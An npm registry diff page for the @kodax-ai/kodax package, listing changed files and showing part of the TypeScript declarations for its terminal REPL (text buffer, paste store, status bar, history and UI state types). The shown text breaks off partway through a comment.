@kodax-ai/kodax 0.7.40 → 0.7.42

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (70) hide show
  1. package/CHANGELOG.md +146 -1
  2. package/README.md +129 -232
  3. package/README_CN.md +128 -253
  4. package/dist/chunks/chunk-3RKBXWZS.js +2 -0
  5. package/dist/chunks/chunk-7JLYVWAF.js +1033 -0
  6. package/dist/chunks/chunk-CD3R5YBH.js +16 -0
  7. package/dist/chunks/chunk-DKXUY5F2.js +209 -0
  8. package/dist/chunks/chunk-HMYEQJGT.js +31 -0
  9. package/dist/chunks/{chunk-FAVPT4P7.js → chunk-IYJ5EPRV.js} +1 -1
  10. package/dist/chunks/chunk-KUX5LRPP.js +2 -0
  11. package/dist/chunks/{chunk-EQ5DGS2W.js → chunk-OWSKU55I.js} +5 -6
  12. package/dist/chunks/chunk-ZZ4KRK2B.js +465 -0
  13. package/dist/chunks/compaction-config-FIFFP4FT.js +2 -0
  14. package/dist/chunks/{construction-bootstrap-OFPUZTXQ.js → construction-bootstrap-J2WOCYEK.js} +1 -1
  15. package/dist/chunks/dist-2ZHWDXMQ.js +2 -0
  16. package/dist/chunks/dist-W4CJWLIH.js +2 -0
  17. package/dist/chunks/utils-A5MWDTWZ.js +2 -0
  18. package/dist/index.d.ts +237 -7
  19. package/dist/index.js +5 -5
  20. package/dist/kodax_cli.js +935 -917
  21. package/dist/sdk-agent.d.ts +1375 -10
  22. package/dist/sdk-agent.js +1 -1
  23. package/dist/sdk-coding.d.ts +4608 -14
  24. package/dist/sdk-coding.js +1 -1
  25. package/dist/sdk-llm.d.ts +210 -10
  26. package/dist/sdk-llm.js +1 -1
  27. package/dist/sdk-mcp.d.ts +17 -0
  28. package/dist/sdk-mcp.js +2 -0
  29. package/dist/sdk-repl.d.ts +3026 -13
  30. package/dist/sdk-repl.js +2 -1
  31. package/dist/sdk-session.d.ts +164 -0
  32. package/dist/sdk-session.js +2 -0
  33. package/dist/sdk-skills.d.ts +553 -9
  34. package/dist/sdk-skills.js +1 -1
  35. package/dist/types-chunks/bash-prefix-extractor.d-CkhaqKkg.d.ts +2571 -0
  36. package/dist/types-chunks/capability.d-3C62G8Eq.d.ts +39 -0
  37. package/dist/types-chunks/config.d-BfJUXxC0.d.ts +41 -0
  38. package/dist/types-chunks/cost-tracker.d-B6vMoLLF.d.ts +360 -0
  39. package/dist/types-chunks/history-cleanup.d-DznrzEiU.d.ts +1475 -0
  40. package/dist/types-chunks/instance-discovery.d-BsKnIwpg.d.ts +990 -0
  41. package/dist/types-chunks/resolver.d-DX9au4NJ.d.ts +263 -0
  42. package/dist/types-chunks/session-storage.d-Cci897iM.d.ts +68 -0
  43. package/dist/types-chunks/storage.d-Bc5DoAwp.d.ts +532 -0
  44. package/dist/types-chunks/transport.d-DuyjG30t.d.ts +180 -0
  45. package/dist/types-chunks/types.d-B1uGoVTE.d.ts +400 -0
  46. package/dist/types-chunks/types.d-C5mHR87z.d.ts +119 -0
  47. package/dist/types-chunks/types.d-mM8vqvhT.d.ts +254 -0
  48. package/package.json +16 -3
  49. package/dist/acp_events.d.ts +0 -109
  50. package/dist/acp_logger.d.ts +0 -20
  51. package/dist/acp_server.d.ts +0 -92
  52. package/dist/chunks/chunk-6QO6HWGU.js +0 -30
  53. package/dist/chunks/chunk-CLS57NPX.js +0 -460
  54. package/dist/chunks/chunk-NDNILSTR.js +0 -2
  55. package/dist/chunks/chunk-QZEDWITG.js +0 -1226
  56. package/dist/chunks/chunk-Z5EBDA6R.js +0 -15
  57. package/dist/chunks/compaction-config-A7XZ6H5Y.js +0 -2
  58. package/dist/chunks/dist-M57GIWR4.js +0 -2
  59. package/dist/chunks/dist-OTUF22DA.js +0 -2
  60. package/dist/chunks/utils-DFMYJUTE.js +0 -2
  61. package/dist/cli_commands.d.ts +0 -17
  62. package/dist/cli_option_helpers.d.ts +0 -49
  63. package/dist/cli_option_helpers.test.d.ts +0 -1
  64. package/dist/constructed_cli.d.ts +0 -82
  65. package/dist/constructed_cli.test.d.ts +0 -1
  66. package/dist/kodax_cli.d.ts +0 -7
  67. package/dist/self_modify_cli.d.ts +0 -81
  68. package/dist/self_modify_cli.test.d.ts +0 -9
  69. package/dist/skill_cli.d.ts +0 -15
  70. package/dist/skill_cli.test.d.ts +0 -1
@@ -1,21 +1,3034 @@
1
+ import React$1, { ReactNode } from 'react';
2
+ import { k as PermissionMode } from './types-chunks/storage.d-Bc5DoAwp.js';
3
+ export { B as BUILTIN_COMMANDS, C as Command, a as CommandCallbacks, b as ConfirmResult, c as CurrentConfig, F as FileSessionStorage, I as InkREPLOptions, d as InteractiveContext, e as InteractiveMode, K as KODAX_CONFIG_FILE, f as KODAX_DIR, g as KODAX_SESSIONS_DIR, h as KODAX_VERSION, P as PERMISSION_MODES, i as PREVIEW_MAX_LENGTH, j as PermissionContext, R as RepLOptions, l as computeConfirmTools, m as createInteractiveContext, n as executeCommand, o as getGitRoot, p as getProviderList, q as getProviderModel, r as getVersion, s as hydrateProcessEnvFromShell, t as isPermissionMode, u as isProviderConfigured, v as loadConfig, w as normalizePermissionMode, x as parseCommand, y as permissionModeDisplayName, z as prepareRuntimeConfig, A as processSpecialSyntax, D as rateLimitedCall, E as registerConfiguredCustomProviders, G as runInkInteractiveMode, H as runInteractiveMode, J as saveConfig, L as touchContext } from './types-chunks/storage.d-Bc5DoAwp.js';
4
+ import { D as KodaXReasoningMode, m as KodaXMessage, h as KodaXCustomProviderConfig } from './types-chunks/types.d-B1uGoVTE.js';
5
+ import { K as KodaXAgentMode, I as KodaXEvents, aA as ProviderRecoveryEvent, W as KodaXMcpServerConfig, X as KodaXMcpServersConfig, l as BashPrefixExtractor, d as AutoModeAskUser, A as AgentsFile, aL as SignalCollector, j as AutoModeToolGuardrail, aK as RulesLoadResult, a8 as KodaXResult } from './types-chunks/bash-prefix-extractor.d-CkhaqKkg.js';
6
+ import { b as QueuedMessage } from './types-chunks/types.d-C5mHR87z.js';
7
+ export { M as MemorySessionStorage, S as SessionData, a as SessionStorage, c as createMemorySessionStorage } from './types-chunks/session-storage.d-Cci897iM.js';
8
+ export { DeleteSessionResult, ListSessionsOptions, RunningSessionInfo, SessionManager, SessionSummary, WatchSessionsCallback, createSessionManager, deleteSession, forkSession, listRunningSessions, listSessions, loadSession, rewindSession, setActiveEntry, watchSessions } from './sdk-session.js';
9
+ import './types-chunks/types.d-mM8vqvhT.js';
10
+ import 'readline';
11
+ import 'child_process';
12
+ import './types-chunks/instance-discovery.d-BsKnIwpg.js';
13
+ import './types-chunks/capability.d-3C62G8Eq.js';
14
+ import './types-chunks/config.d-BfJUXxC0.js';
15
+ import './types-chunks/cost-tracker.d-B6vMoLLF.js';
16
+
1
17
  /**
2
- * SDK subpath entry `@kodax-ai/kodax/repl`
18
+ * TextBuffer - Text buffer management class - 文本缓冲区管理类
3
19
  *
4
- * Re-exports the entire `@kodax-ai/repl` public API full interactive
5
- * terminal experience built on Ink: `runInkInteractiveMode`, configuration
6
- * loaders (`loadConfig` / `saveConfig`), session storage primitives,
7
- * provider resolution, etc.
20
+ * Reference implementation: Gemini CLI text-buffer.ts - 参考实现: Gemini CLI text-buffer.ts
21
+ * Supports multi-line text editing, cursor navigation, and Unicode-safe operations - 支持多行文本编辑,光标导航,Unicode 安全操作
22
+ */
23
+ interface CursorPosition {
24
+ row: number;
25
+ col: number;
26
+ }
27
+ interface VisualCursor$1 {
28
+ row: number;
29
+ col: number;
30
+ }
31
+ interface TextBufferOptions {
32
+ maxHistory?: number;
33
+ }
34
+ declare class TextBuffer {
35
+ private _text;
36
+ private _lines;
37
+ private _cursor;
38
+ private _rememberedCol;
39
+ private _history;
40
+ private _historyIndex;
41
+ private _maxHistory;
42
+ constructor(options?: TextBufferOptions);
43
+ get text(): string;
44
+ get lines(): string[];
45
+ get cursor(): CursorPosition;
46
+ get lineCount(): number;
47
+ get currentLine(): string;
48
+ get isEmpty(): boolean;
49
+ /**
50
+ * Get visual width of current line - 获取当前行的视觉宽度
51
+ */
52
+ get currentLineVisualWidth(): number;
53
+ /**
54
+ * Get visual position of cursor (considering wide characters) - 获取光标的视觉位置(考虑宽字符)
55
+ */
56
+ get visualCursor(): VisualCursor$1;
57
+ /**
58
+ * Get visual width of character at cursor position on current line - 获取当前行在光标位置的字符视觉宽度
59
+ */
60
+ getCharWidthAtCursor(): number;
61
+ /**
62
+ * Convert visual column position to logical column position - 将视觉列位置转换为逻辑列位置
63
+ */
64
+ visualColToLogicalCol(visualCol: number): number;
65
+ /**
66
+ * Move to visual column position - 移动到视觉列位置
67
+ */
68
+ moveToVisualCol(visualCol: number): void;
69
+ /**
70
+ * Set entire text content - 设置整个文本内容
71
+ */
72
+ setText(text: string): void;
73
+ /**
74
+ * Replace a text range and leave the cursor after the replacement.
75
+ */
76
+ replaceRange(start: number, end: number, replacement: string): void;
77
+ /**
78
+ * Insert text at cursor position - 在光标位置插入文本
79
+ */
80
+ insert(text: string, options?: {
81
+ paste?: boolean;
82
+ }): void;
83
+ /**
84
+ * Insert text on current line - 在当前行插入文本
85
+ */
86
+ private _insertText;
87
+ /**
88
+ * Insert newline character - 插入换行符
89
+ */
90
+ newline(): void;
91
+ private _insertNewline;
92
+ /**
93
+ * Delete character before cursor - 删除光标前的字符
94
+ */
95
+ backspace(): void;
96
+ /**
97
+ * Delete character after cursor - 删除光标后的字符
98
+ */
99
+ delete(): void;
100
+ /**
101
+ * Move cursor - 移动光标
102
+ */
103
+ move(direction: "up" | "down" | "left" | "right" | "home" | "end"): void;
104
+ private _moveUp;
105
+ private _moveDown;
106
+ private _moveLeft;
107
+ private _moveRight;
108
+ private _moveHome;
109
+ private _moveEnd;
110
+ /**
111
+ * Clamp column position within current line range using rememberedCol - 限制列位置在当前行范围内,使用 rememberedCol
112
+ */
113
+ private _clampColumn;
114
+ /**
115
+ * Clamp cursor to valid range - 限制光标在有效范围内
116
+ */
117
+ private _clampCursor;
118
+ /**
119
+ * Delete content from cursor to end of line (Ctrl+K) - 删除光标到行尾的内容 (Ctrl+K)
120
+ */
121
+ killLineRight(): void;
122
+ /**
123
+ * Delete content from line start to cursor (Ctrl+U) - 删除行首到光标的内容 (Ctrl+U)
124
+ */
125
+ killLineLeft(): void;
126
+ /**
127
+ * Delete word before cursor (Ctrl+W) - 删除光标前的一个词 (Ctrl+W)
128
+ */
129
+ deleteWordLeft(): void;
130
+ private _saveHistory;
131
+ /**
132
+ * Undo - 撤销
133
+ */
134
+ undo(): boolean;
135
+ /**
136
+ * Redo - 重做
137
+ */
138
+ redo(): boolean;
139
+ private _updateText;
140
+ private _setTextInternal;
141
+ /**
142
+ * Move cursor to an absolute string offset - 将光标移动到文本中的绝对偏移位置
143
+ */
144
+ moveToAbsoluteOffset(offset: number): void;
145
+ /**
146
+ * Clear buffer - 清空缓冲区
147
+ */
148
+ clear(): void;
149
+ /**
150
+ * Get absolute position of cursor in text - 获取光标在文本中的绝对位置
151
+ */
152
+ getAbsoluteOffset(): number;
153
+ /**
154
+ * Check if current line ends with backslash - 检查当前行是否以反斜杠结尾
155
+ */
156
+ isLineContinuation(): boolean;
157
+ /**
158
+ * Move cursor to end of entire text - 将光标移动到整个文本的末尾
159
+ */
160
+ moveToEnd(): void;
161
+ }
162
+
163
+ /**
164
+ * PasteStore — per-session paste content registry + placeholder ref helpers.
165
+ *
166
+ * Design: see docs/KNOWN_ISSUES.md Issue 121 (三层防御:粘贴拦截 / 输入兜底 / 渲染硬上限).
167
+ * Reference implementation: Claude Code src/history.ts + src/utils/pasteStore.ts.
168
+ *
169
+ * Responsibilities (pure / deterministic where possible):
170
+ * - Format / parse `[Pasted text #N +K lines]` and related refs
171
+ * - Allocate monotonic per-session paste IDs
172
+ * - Store / expand paste content in memory
173
+ * - Find placeholder boundaries adjacent to cursor (for atomic edit)
174
+ *
175
+ * Stateful concerns are confined to the `PasteStore` class. Everything else is
176
+ * pure so rendering and controller code can call them safely.
177
+ */
178
+ type PastedContentType = "text" | "image";
179
+ interface PastedContent {
180
+ id: number;
181
+ type: PastedContentType;
182
+ content: string;
183
+ /** Optional sha256 hash — set when backed by on-disk paste-cache */
184
+ contentHash?: string;
185
+ /** Media type for image pastes; unused for text */
186
+ mediaType?: string;
187
+ /** Optional filename hint for image pastes */
188
+ filename?: string;
189
+ }
190
+ /**
191
+ * Session-scoped stateful registry. One instance per REPL session (not per
192
+ * paste). Lives as long as the composer. IDs are monotonic and never recycled
193
+ * so undo/redo never collides with a fresh paste that reused an id.
194
+ */
195
+ declare class PasteStore {
196
+ private readonly contents;
197
+ private nextId;
198
+ /**
199
+ * Register text content, returns the allocated id + the placeholder string
200
+ * to insert into the buffer in place of the raw content.
201
+ */
202
+ registerText(content: string): {
203
+ id: number;
204
+ placeholder: string;
205
+ numLines: number;
206
+ };
207
+ /**
208
+ * Register pre-computed Layer 2 truncation output. Caller is responsible
209
+ * for constructing the truncated text; this just stores the middle chunk.
210
+ */
211
+ registerTruncatedText(content: string): {
212
+ id: number;
213
+ numLines: number;
214
+ };
215
+ /**
216
+ * Adopt a pre-allocated id + content (e.g. when restoring from disk-backed
217
+ * input history).
218
+ */
219
+ adopt(entry: PastedContent): void;
220
+ /** Allocate the NEXT id without registering anything yet. */
221
+ peekNextId(): number;
222
+ get(id: number): PastedContent | undefined;
223
+ /** Expand all placeholders in `input` using this store's contents. */
224
+ expand(input: string): string;
225
+ /**
226
+ * Snapshot the current contents map. Returned map is a COPY — mutation does
227
+ * not leak back. Used by undo buffer snapshots.
228
+ */
229
+ snapshot(): Map<number, PastedContent>;
230
+ /** Replace contents from a snapshot. Used by undo. `nextId` preserved. */
231
+ restore(snapshot: ReadonlyMap<number, PastedContent>): void;
232
+ /**
233
+ * Session-level reset. Called on `/clear`, start-new-session, etc.
234
+ * Does NOT clear on per-submit since Up-arrow navigation re-submits may
235
+ * reuse stored refs.
236
+ */
237
+ reset(): void;
238
+ size(): number;
239
+ /** Export contents for persistence (input history serialization). */
240
+ export(): PastedContent[];
241
+ }
242
+
243
+ /**
244
+ * Keyboard info interface - 键盘信息接口
245
+ * Reference: Gemini CLI Key interface - 参考: Gemini CLI Key interface
246
+ */
247
+ interface KeyInfo {
248
+ name: string;
249
+ sequence: string;
250
+ ctrl: boolean;
251
+ meta: boolean;
252
+ shift: boolean;
253
+ insertable: boolean;
254
+ isPasted?: boolean;
255
+ mouse?: {
256
+ action: "press" | "release" | "drag" | "move" | "wheel";
257
+ button: "left" | "middle" | "right" | "wheelup" | "wheeldown" | "unknown";
258
+ row: number;
259
+ column: number;
260
+ };
261
+ }
262
+
263
+ type PromptEditingMode = "idle" | "typing" | "pasting";
264
+ interface UseTextBufferReturn {
265
+ buffer: TextBuffer;
266
+ text: string;
267
+ cursor: CursorPosition;
268
+ lines: string[];
269
+ isPasting: boolean;
270
+ editingMode: PromptEditingMode;
271
+ /**
272
+ * Issue 121: session-scoped paste registry. Registered paste ids survive
273
+ * submit so Up-arrow input-history recall can still expand them.
274
+ */
275
+ pasteStore: PasteStore;
276
+ resetTransientState: () => void;
277
+ setText: (text: string) => void;
278
+ replaceRange: (start: number, end: number, replacement: string) => void;
279
+ insert: (text: string, options?: {
280
+ paste?: boolean;
281
+ }) => void;
282
+ newline: () => void;
283
+ backspace: () => void;
284
+ delete: () => void;
285
+ move: (direction: "up" | "down" | "left" | "right" | "home" | "end") => void;
286
+ moveToEnd: () => void;
287
+ moveToOffset: (offset: number) => void;
288
+ killLineRight: () => void;
289
+ killLineLeft: () => void;
290
+ deleteWordLeft: () => void;
291
+ clear: () => void;
292
+ undo: () => boolean;
293
+ redo: () => boolean;
294
+ }
295
+ /**
296
+ * Visual Layout Interface - 视觉布局接口
297
+ * Reference: Gemini CLI text-buffer.ts - VisualLayout
298
+ */
299
+ interface VisualLayout$1 {
300
+ /** All visual lines for rendering - 所有视觉行(用于渲染) */
301
+ visualLines: string[];
302
+ /** For each logical line: [[visualLineIndex, startColInLogical], ...] - 每个逻辑行 -> 视觉行索引 + 起始列的映射 */
303
+ logicalToVisualMap: Array<Array<[number, number]>>;
304
+ /** For each visual line: [logicalLineIndex, startColInLogical] - 每个视觉行 -> 逻辑行 + 起始列的映射 */
305
+ visualToLogicalMap: Array<[number, number]>;
306
+ }
307
+ type VisualCursor = [number, number];
308
+ /**
309
+ * An input-history entry. `text` is the display form (may contain
310
+ * `[Pasted text #N]` placeholders). `pastedContents`, when present, carries
311
+ * the stored contents needed to expand those placeholders after recall.
312
+ *
313
+ * Issue 121: pastedContents preserves paste fidelity across Up-arrow and
314
+ * undo. For entries loaded from disk-backed history, contents may carry only
315
+ * `contentHash` until `retrievePastedText` resolves them.
316
+ */
317
+ interface HistoryEntry {
318
+ text: string;
319
+ timestamp: number;
320
+ pastedContents?: PastedContent[];
321
+ }
322
+ interface Completion$1 {
323
+ text: string;
324
+ display: string;
325
+ description?: string;
326
+ type: "file" | "command" | "argument";
327
+ }
328
+ interface Completer {
329
+ canComplete(input: string, cursorPos: number): boolean;
330
+ getCompletions(input: string, cursorPos: number): Promise<Completion$1[]>;
331
+ }
332
+ /**
333
+ * Autocomplete suggestion item - 自动补全建议项
334
+ * For SuggestionsDisplay component - 用于 SuggestionsDisplay 组件
335
+ */
336
+ interface Suggestion {
337
+ id: string;
338
+ text: string;
339
+ displayText?: string;
340
+ description?: string;
341
+ type?: "command" | "file" | "history" | "argument" | "snippet" | "skill";
342
+ icon?: string;
343
+ }
344
+ interface ThemeColors {
345
+ primary: string;
346
+ secondary: string;
347
+ accent: string;
348
+ text: string;
349
+ dim: string;
350
+ thinking: string;
351
+ success: string;
352
+ warning: string;
353
+ error: string;
354
+ info: string;
355
+ hint: string;
356
+ background: string;
357
+ inputBackground: string;
358
+ }
359
+ interface ThemeSymbols {
360
+ prompt: string;
361
+ success: string;
362
+ error: string;
363
+ warning: string;
364
+ spinner: string[];
365
+ }
366
+ interface Theme {
367
+ name: string;
368
+ colors: ThemeColors;
369
+ symbols: ThemeSymbols;
370
+ }
371
+ interface PromptSubmitPayload {
372
+ /**
373
+ * Display form — what the user saw in the input bar. May contain
374
+ * `[Pasted text #N +K lines]` placeholders or `[...Truncated text #N ...]`
375
+ * refs (Issue 121).
376
+ */
377
+ displayText: string;
378
+ /**
379
+ * Fully expanded form — all paste placeholders substituted for their raw
380
+ * stored contents. This is what parseCommand / the agent pipeline consume.
381
+ */
382
+ fullText: string;
383
+ /** Paste contents referenced by displayText — for persistence / recall. */
384
+ pastedContents: PastedContent[];
385
+ }
386
+ interface InputPromptProps {
387
+ onSubmit: (payload: PromptSubmitPayload) => void;
388
+ placeholder?: string;
389
+ prompt?: string;
390
+ focus?: boolean;
391
+ initialValue?: string;
392
+ /** Callback when input text changes - 输入文本变化时的回调 */
393
+ onInputChange?: (text: string) => void;
394
+ /**
395
+ * Called when the ↑ arrow history recall brings back an entry with stored
396
+ * paste contents. Consumer can hydrate a disk-backed paste cache here.
397
+ */
398
+ onHistoryRecall?: (entry: {
399
+ text: string;
400
+ pastedContents: PastedContent[];
401
+ }) => void;
402
+ /**
403
+ * FEATURE_149 Phase 2.1 (v0.7.38) — pop the queued follow-up inputs back
404
+ * into the editor when the user presses ↑ on an empty buffer. Return the
405
+ * joined text to load (queue gets atomically cleared by the consumer), or
406
+ * `undefined` to leave history-recall behavior intact when the queue is
407
+ * empty.
408
+ */
409
+ onPopPendingInputs?: () => string | undefined;
410
+ }
411
+ interface StatusBarProps {
412
+ sessionId: string;
413
+ permissionMode: PermissionMode;
414
+ agentMode: KodaXAgentMode;
415
+ provider: string;
416
+ model: string;
417
+ tokenUsage?: {
418
+ input: number;
419
+ output: number;
420
+ total: number;
421
+ };
422
+ currentTool?: string;
423
+ activeToolCount?: number;
424
+ thinking?: boolean;
425
+ reasoningMode?: KodaXReasoningMode;
426
+ reasoningCapability?: string;
427
+ /** Is context currently compacting - 是否正在压缩上下文 */
428
+ isCompacting?: boolean;
429
+ /** Thinking character count - Issue 068: 显示 thinking 进度 */
430
+ thinkingCharCount?: number;
431
+ /** Whether a thinking stream is currently active */
432
+ isThinkingActive?: boolean;
433
+ /** Tool input character count - Issue 068: 显示 tool 输入进度 */
434
+ toolInputCharCount?: number;
435
+ /** Tool input content (truncated) - Issue 068 Phase 4: 显示参数摘要 */
436
+ toolInputContent?: string;
437
+ /** Current iteration number - Issue 068: 显示迭代进度 */
438
+ currentIteration?: number;
439
+ /** Maximum iterations - Issue 068: 显示迭代进度 */
440
+ maxIter?: number;
441
+ /** Context usage info - Issue 070: 显示上下文使用情况 */
442
+ contextUsage?: {
443
+ /** Current token count in context */
444
+ currentTokens: number;
445
+ /** Context window size (effective contextWindow) */
446
+ contextWindow: number;
447
+ /** Compaction trigger percentage (0-100) */
448
+ triggerPercent: number;
449
+ };
450
+ /** Whether current busy/thinking status should be visible in the bar */
451
+ showBusyStatus?: boolean;
452
+ managedPhase?: "starting" | "routing" | "preflight" | "round" | "worker" | "upgrade" | "verifying" | "completed";
453
+ managedHarnessProfile?: string;
454
+ managedWorkerTitle?: string;
455
+ managedRound?: number;
456
+ managedMaxRounds?: number;
457
+ managedGlobalWorkBudget?: number;
458
+ managedBudgetUsage?: number;
459
+ managedBudgetApprovalRequired?: boolean;
460
+ /**
461
+ * v0.7.38 FEATURE_156 — true when the runner-driven outer loop is
462
+ * parked in `waitForWakeEvent` (idle-yield from FEATURE_155). The
463
+ * status bar renders this as "{role} - waiting for N children"
464
+ * instead of falling back to the last role-emit label, so the user
465
+ * can tell the spinner is actively waiting on something concrete.
466
+ * Consumers MUST branch on `=== true` (undefined transitions out).
467
+ */
468
+ managedIdleWaiting?: boolean;
469
+ /** v0.7.38 FEATURE_156 — child count surfaced in the idle-wait label. */
470
+ managedIdleWaitingPendingCount?: number;
471
+ /**
472
+ * FEATURE_092 phase 2b.8: classifier engine indicator. Only renders when
473
+ * permissionMode is in the auto family. `'llm'` shows green `auto[LLM]`
474
+ * (healthy), `'rules'` shows yellow `auto[RULES]` (downgraded — every
475
+ * non-Tier-1 tool call escalates to user confirm).
476
+ */
477
+ autoModeEngine?: 'llm' | 'rules';
478
+ }
479
+ /**
480
+ * @deprecated Use MessageListProps from components/MessageList.js instead
481
+ */
482
+ interface LegacyMessageListProps {
483
+ messages: Message[];
484
+ isLoading?: boolean;
485
+ }
486
+ interface Message {
487
+ id: string;
488
+ role: "user" | "assistant" | "system";
489
+ content: string;
490
+ timestamp: number;
491
+ }
492
+ interface AppState {
493
+ messages: Message[];
494
+ isLoading: boolean;
495
+ error?: string;
496
+ sessionId: string;
497
+ }
498
+ interface AppProps {
499
+ model: string;
500
+ provider: string;
501
+ onSubmit: (input: string) => Promise<void>;
502
+ permissionMode?: PermissionMode;
503
+ agentMode?: KodaXAgentMode;
504
+ }
505
+ /**
506
+ * Streaming response state enum - 流式响应状态枚举
507
+ * Reference: Gemini CLI StreamingContext.tsx - 参考: Gemini CLI StreamingContext.tsx
508
+ */
509
+ declare enum StreamingState {
510
+ Idle = "idle",
511
+ Responding = "responding",
512
+ WaitingForConfirmation = "waiting_for_confirmation"
513
+ }
514
+ /**
515
+ * Tool call status enum - 工具调用状态枚举
516
+ * Reference: Gemini CLI useToolScheduler - 参考: Gemini CLI useToolScheduler
517
+ */
518
+ declare enum ToolCallStatus {
519
+ Scheduled = "scheduled",
520
+ Validating = "validating",
521
+ AwaitingApproval = "awaiting_approval",
522
+ Executing = "executing",
523
+ Success = "success",
524
+ Error = "error",
525
+ Cancelled = "cancelled"
526
+ }
527
+ /**
528
+ * Tool call status icons - 工具调用状态图标
529
+ */
530
+ declare const TOOL_STATUS_ICONS: Record<ToolCallStatus, string>;
531
+ /**
532
+ * Single tool call - 单个工具调用
533
+ */
534
+ interface ToolCall {
535
+ id: string;
536
+ name: string;
537
+ status: ToolCallStatus;
538
+ input?: Record<string, unknown>;
539
+ preview?: string;
540
+ output?: unknown;
541
+ error?: string;
542
+ progress?: number;
543
+ /** Real-time progress lines displayed inside the tool block during execution. */
544
+ progressLines?: string[];
545
+ startTime: number;
546
+ endTime?: number;
547
+ }
548
+ /**
549
+ * History item type - 历史项类型
550
+ * Reference: Gemini CLI HistoryItem - 参考: Gemini CLI HistoryItem
551
+ */
552
+ type HistoryItemType = "user" | "assistant" | "system" | "tool_group" | "thinking" | "error" | "event" | "info" | "hint";
553
+ /**
554
+ * History item base class - 历史项基类
555
+ */
556
+ interface HistoryItemBase {
557
+ id: string;
558
+ type: HistoryItemType;
559
+ timestamp: number;
560
+ }
561
+ /**
562
+ * User message - 用户消息
563
+ */
564
+ interface HistoryItemUser extends HistoryItemBase {
565
+ type: "user";
566
+ text: string;
567
+ }
568
+ /**
569
+ * Assistant message - 助手消息
570
+ */
571
+ interface HistoryItemAssistant extends HistoryItemBase {
572
+ type: "assistant";
573
+ text: string;
574
+ compactText?: string;
575
+ isStreaming?: boolean;
576
+ }
577
+ /**
578
+ * System message - 系统消息
579
+ */
580
+ interface HistoryItemSystem extends HistoryItemBase {
581
+ type: "system";
582
+ text: string;
583
+ }
584
+ /**
585
+ * Tool group - 工具组
586
+ */
587
+ interface HistoryItemToolGroup extends HistoryItemBase {
588
+ type: "tool_group";
589
+ tools: ToolCall[];
590
+ }
591
+ /**
592
+ * Thinking content - 思考内容
593
+ */
594
+ interface HistoryItemThinking extends HistoryItemBase {
595
+ type: "thinking";
596
+ text: string;
597
+ compactText?: string;
598
+ }
599
+ /**
600
+ * Error message - 错误消息
601
+ */
602
+ interface HistoryItemError extends HistoryItemBase {
603
+ type: "error";
604
+ text: string;
605
+ }
606
+ interface HistoryItemEvent extends HistoryItemBase {
607
+ type: "event";
608
+ text: string;
609
+ icon?: string;
610
+ compactText?: string;
611
+ }
612
+ /**
613
+ * Info message - 信息消息
614
+ */
615
+ interface HistoryItemInfo extends HistoryItemBase {
616
+ type: "info";
617
+ text: string;
618
+ icon?: string;
619
+ compactText?: string;
620
+ /**
621
+ * When true, drop the default bottom margin so consecutive info items
622
+ * (e.g. a burst of repo-intelligence trace stages emitted within one
623
+ * turn) visually stack as a block instead of each getting a blank
624
+ * spacer line. Non-tight items following a tight run restore normal
625
+ * spacing on their own via their own `marginBottom`.
626
+ */
627
+ tightSpacing?: boolean;
628
+ }
629
+ /**
630
+ * Hint message - 提示消息
631
+ */
632
+ interface HistoryItemHint extends HistoryItemBase {
633
+ type: "hint";
634
+ text: string;
635
+ }
636
+ /**
637
+ * Union type of all history items - 所有历史项的联合类型
638
+ */
639
+ type HistoryItem = HistoryItemUser | HistoryItemAssistant | HistoryItemSystem | HistoryItemToolGroup | HistoryItemThinking | HistoryItemError | HistoryItemEvent | HistoryItemInfo | HistoryItemHint;
640
+ /**
641
+ * Creatable history item types (with text property) - 可创建的历史项类型(带 text 属性)
642
+ * Used for addHistoryItem function parameter type - 用于 addHistoryItem 等函数的参数类型
643
+ */
644
+ type CreatableHistoryItem = Omit<HistoryItemUser, "id" | "timestamp"> | Omit<HistoryItemAssistant, "id" | "timestamp"> | Omit<HistoryItemSystem, "id" | "timestamp"> | Omit<HistoryItemThinking, "id" | "timestamp"> | Omit<HistoryItemError, "id" | "timestamp"> | Omit<HistoryItemEvent, "id" | "timestamp"> | Omit<HistoryItemInfo, "id" | "timestamp"> | Omit<HistoryItemHint, "id" | "timestamp"> | Omit<HistoryItemToolGroup, "id" | "timestamp">;
645
+ /**
646
+ * UI global state interface - UI 全局状态接口
647
+ * Reference: Gemini CLI UIStateContext - 参考: Gemini CLI UIStateContext
648
+ */
649
+ interface UIState {
650
+ streamingState: StreamingState;
651
+ currentResponse: string;
652
+ history: HistoryItem[];
653
+ pendingToolCalls: ToolCall[];
654
+ sessionId: string;
655
+ provider: string;
656
+ model: string;
657
+ tokenUsage?: {
658
+ input: number;
659
+ output: number;
660
+ total: number;
661
+ };
662
+ error?: string;
663
+ isLoading: boolean;
664
+ }
665
+ /**
666
+ * UI actions interface - UI 操作接口
667
+ */
668
+ interface UIActions {
669
+ setStreamingState: (state: StreamingState) => void;
670
+ appendToResponse: (text: string) => void;
671
+ clearResponse: () => void;
672
+ addHistoryItem: (item: CreatableHistoryItem) => void;
673
+ updateHistoryItem: (id: string, updates: Partial<HistoryItem>) => void;
674
+ clearHistory: () => void;
675
+ addToolCall: (tool: Omit<ToolCall, "id" | "startTime">) => string;
676
+ updateToolCall: (id: string, updates: Partial<ToolCall>) => void;
677
+ clearToolCalls: () => void;
678
+ setSessionId: (id: string) => void;
679
+ setProvider: (provider: string) => void;
680
+ setModel: (model: string) => void;
681
+ setTokenUsage: (usage: UIState["tokenUsage"]) => void;
682
+ setError: (error: string | undefined) => void;
683
+ setLoading: (loading: boolean) => void;
684
+ }
685
+ /**
686
+ * Keyboard event handler priority - 键盘事件处理器优先级
687
+ * Reference: Gemini CLI KeypressContext - 参考: Gemini CLI KeypressContext
688
+ */
689
+ declare enum KeypressHandlerPriority {
690
+ Low = -100,
691
+ Normal = 0,
692
+ High = 100,
693
+ Critical = 200
694
+ }
695
+ /**
696
+ * Keyboard event handler - 键盘事件处理器
697
+ */
698
+ type KeypressHandler = (event: KeyInfo) => boolean | void;
699
+ /**
700
+ * Keyboard event - 键盘事件
701
+ */
702
+ interface KeypressEvent {
703
+ key: KeyInfo;
704
+ handled: boolean;
705
+ }
706
+ /**
707
+ * Default UI state - 默认 UI 状态
708
+ */
709
+ declare const DEFAULT_UI_STATE: UIState;
710
+
711
+ /**
712
+ * App - KodaX CLI root component.
8
713
  *
9
- * Note: this subpath pulls Ink + React as transitive deps via the
10
- * `@kodax-ai/repl` package. SDK consumers who only need configuration
11
- * helpers (no UI) get fine-grained named imports — ESM tree-shaking
12
